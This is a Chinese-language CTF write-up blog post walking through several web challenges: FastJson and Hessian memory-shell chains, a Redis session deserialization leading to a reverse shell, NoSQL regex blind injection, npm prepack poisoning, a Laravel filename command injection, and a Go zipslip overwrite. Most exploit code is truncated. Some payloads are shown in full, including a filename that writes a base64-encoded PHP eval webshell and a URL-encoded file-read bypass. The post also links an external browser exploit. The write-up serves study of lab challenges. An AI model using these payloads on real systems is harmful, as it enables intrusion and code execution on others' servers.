ezjava
考点:FastJson打多个内存马、路由覆盖
所以说,名字带ez的绝对要小心。这是ezjava吗,我不知道反正,这波我愿称之为JavaMaster的升级版本!
Client的controller
1 | // |
Server的Contololer
1 | // |
这边逻辑是这样的,首先我们需要打下Client,然后重置路由,让server访问/blacklist/jdk/get
时先获取一个没啥用的ArrayList(不为空),将这个设置为黑名单,也就是滞空黑名单,其次第二次访问时由于黑名单被滞空了,所以我们就可以直接丢上FastJson原生的temolates链直接打内存马,然后通过client访问server的status路由即可获取flag
exp如下
最外层生成Hessian反序列化的base64字符:
1 | package org.example; |
Hessian那一串Base64套的是一个内存马,然后解码后还是一个内存马,也就是内存马套内存马,一个打Client,然后打clinet后打server
内存马1:
1 | package org.example; |
上面code里有2个base64字段,第一个就是原生的fastjson链打内存马,第二个就是第一次访问设置的没用的arraylist用于滞空的。第一次访问时就会滞空,第二次访问内存马
内存马2:
1 | package org.example; |
我们只需打入:
然后访问2次/client/status
即可获取flag!
d3icu
知识点:tomcat-redis-session-manager反序列化。
究极套娃题,下午来复习。
复现完毕,首先我们先审个题吧,题目一共会给3个URL,分别对应3个服务
bot.js
1 | const puppeteer = require("puppeteer") |
main.go
1 | package main |
tomcat服务
三个服务对应3个URL,首先看go吧,这其实就是一个简单的redis缓存服务,会将一个键值对储存进Redis服务器,然后注意tomcat服务器,它里面用到了一个依赖(圈起来了)
redis-session-manager这个依赖,而这个依赖是如何运作的呢?它会从redis去除键名为JSESSION的值,然后反序列化它,对应tomcat.request.session.redis.SessionManager#findSession
方法:
1 | public Session findSession(String sessionId) throws IOException { |
调用了deserializeSessionData
去反序列化,而里面又调用了readObject:
并且题目中的pom文件是给了CC依赖的,因此不难联想到往redis缓存投入一个恶意binary数据,然后通过这个去反序列化从而RCE。
然后再审一下go源码,go源码做的事情就是访问一个URL,然后通过crc32Hash
方法去计算这个URL的CRC,并且作为键名储存进redis,键值为访问返回的数据
大概是这样子的一个服务,那么思路也就很清晰,先让go去缓存一下我们的恶意文件,获取序列化数据储存进redis,我们本地起一个题目源码去获取crc数据,然后把JSESSIONID改为crc的值,那么当我们去发包时,就会反序列化触发rce。接下来给出具体步骤
我们的payload如下
1 | package org.d3ctf.demo; |
使用的是cc3这条链,然后恶意class里是反弹shell,我们获取ser.bin并且放入我们的VPS上。
之后我们本地起一个题目中的go服务,访问一下这个ser.bin:
然后输出了一段crc
我们抓个包。把JESSIONID改为CRC。
我们已经getshell了,然后可以看到当前目录是解压了war包的,并且经过测试得知实现了热部署:
那么我们可以修改index.jsp然后pwn一下浏览器,pwn浏览器参考:
https://github.com/77409/chrome-0day/blob/main/exploit.html
官方wp就是这么说的,这个浏览器有这个cve,其实到这里完全没必要我觉得,在套一层。
到这就结束了,改文件部分就是删了再下就行。
d3forest
知识点:FastJson1.2.80的一种绕过方式?
直接上一下EXP。
1 | [{ |
这个payload就是基于之前1.2.80盲注读文件实现的。其实感觉比较鸡肋,这里简单说一下原理,首先Exception只是为了让他假如缓存躲避黑名单,然后一部分没有闭合的json也是为了绕过,其中$[x]
表示第x个对象
具体分析可以查看:
这里有一些原理说明,这里就说一下如何取复现吧,我们只需要在vps起一个web服务就好
大致逻辑如下
1 | package com.d3ctf.exp.controller; |
1 | package com.d3ctf.exp.request; |
意思就是盲注,如果正确的话就不报错,不正确就报错,报错信息的长度大于1000,就可以作为盲注的条件。
报错如上,正常如下
然后最后得到结果
d3node
考点:nosql盲注、npm投毒
是没有给任何的源码的,我们直接开环境,源代码提示访问getHint1
获得一部分源代码,告诉我们登录的逻辑,这很容易想到nosql注入了。因为这里有明显的二元条件差
这里就是nosql的regex正则去盲注。
可以看到是存在正则盲注的。那么我们现在要做的就是写个脚本了。
脚本如下。
1 | import re |
运行之后获取密码。dob2xdriaqpytdyh6jo3
之后admin登录一手。得到提示2/getHint2
在某个路由是存在文件读取的。
大致的测一下
发现showExample是最像的,我们可以首先读一下cmdline
但是看上去似乎是有黑名单的,这就涉及到readFileSync的一个url编码绕过的trick了? filename[href]=aa&filename[origin]=aa&filename[protocol]=file:&filename[hostname ]=&filename [pathname]=%2561%2570%2570%252e%256a%2573
获取网页源码:
1 |
|
再把其他几个文件也都读下来。
index.js
1 |
|
user.js
1 |
|
dashborad.js
1 |
|
主要是看dashborad的路由。这里设计几个敏感的地方。让我注意的就是packDepandencies路由用了npm pack指令。然后在SetDependencies又可以去设置package.json文件。这里就可以直接利用package.json中的prepack
字段
prepack指令可以执行命令。那我们直接投毒咯。直接弹个shell就行。后面发现不出网。所以写文件到tmp下然后读取。
1 | POST /dashboardIndex/SetDependencies HTTP/1.1 |
d3cloud
考点:laravel一个简单代码审计
和官方的改动了一些,不同部分为
1 | if($file->getClientOriginalExtension() === "zip") { |
很明显有个命令注入。
直接改文件名就可以rce:
1 | 1123.zip || echo PD9waHAgZXZhbCgkX1JFUVVFU1RbInNoZWxsIl0pOw== | base64 -d > |
Escape Plan
python的一个trick
https://cn-sec.com/archives/1322842.html
1 | import base64 |
d3go
考点:目录遍历,gorm软连接删除注入,覆盖配置文件RCE
很久没看到go的题了,刚好最近也在学go,仔细复现一波吧。首先是目录穿越获取源码/../main.go
1 | package main |
控制器
1 | package controller |
config.go
1 | package config |
db.go
1 | package db |
auth.go
1 | package auth |
稍微审一下题,首先在main.go有这么一段
1 | func ServeFile(c *gin.Context) { |
这一段对静态文件做了些处理,他直接就没对../进行处理,导致我们可以任意目录穿越,也就是一开始我们任意文件读取,读取完后再注意一下controller里的这一段
1 | func Login(c *gin.Context) { |
然后对应的user.go如上,是一个struct,但是里面有一个字段需要注意
![)L]~$EBAQX9G3{RFKU8G)@E.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1683383481358-df447d77-27f4-4b9b-b3a0-d8ef9e72017e.png#averageHue=%23ededf0&clientId=u31872ce4-acca-4&from=paste&height=703&id=u1fcf2a3e&originHeight=703&originWidth=1495&originalType=binary&ratio=1&rotation=0&showTitle=false&size=24190&status=done&style=none&taskId=u67bb81a6-1dd1-452f-8dbc-2f7448d622b&title=&width=1495)
给了 gorm.model 就说明自带deletedat字段,也就是有软删除这么一说,软删除也就是非实际删除数据库数据,而是单纯无法查询出来。结合一下上面的源码,我们的目的是以admin登录然后去上传zip文件,因此我们应该软链接先删除一下admin:
1 | POST /login HTTP/1.1 |
然后再创建一个用户
1 | POST /login HTTP/1.1 |
之后登录test就是管理员了,因为代码里的逻辑是ID为1的用户就是管理员,那么接下来就好说了,由题目中config.go和main.go可以得知实现了热部署
1 | func main() { |
那么我们就好说了,我们可以覆盖config.yaml实现自更新,以下是chatgpt问答
上述回答并不完全正确,但是可以知道大致的逻辑
经过简单的拷打可以发现,我们只需要让url指向一个编译过后的go二进制文件就好了,在docker里我们正常看是这样的:
有一个d3go的二进制文件,我们需要做的就是热部署更新这个二进制文件。
1 | package main |
这就是恶意的go文件,把他编译为二进制文件后,还需要准备一个yaml文件
1 | server: |
之后利用zipslip去覆盖文件,因为题目并没有对unzip做处理,所以可以进行任意文件覆盖。
1 | import zipfile |
zip文件用如上脚本生成,然后上传到服务器后就可以rce了。
About this Post
This post is written by Boogipop, licensed under CC BY-NC 4.0.